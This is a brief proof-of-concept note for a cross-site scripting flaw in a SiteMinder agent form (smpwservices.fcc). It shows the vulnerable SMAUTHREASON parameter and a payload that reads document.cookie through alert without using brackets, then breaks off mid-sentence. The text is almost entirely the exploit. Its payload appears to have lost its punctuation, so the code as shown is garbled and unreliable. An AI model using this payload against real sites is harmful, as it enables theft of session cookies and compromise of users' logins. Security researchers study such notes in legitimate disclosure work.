siteminder-xss.txt
Exploit in XSS: https://www.example.com/siteminderagent/forms/smpwservices.fcc?SMAUTHREASON=XSS Cross Site Scripting Code: https://www.example.com/siteminderagent/forms/smpwservices.fcc?SMAUTHREASON=1alertdocument.cookie;function+dropif0 In this way we can inject the alert code without brackets i...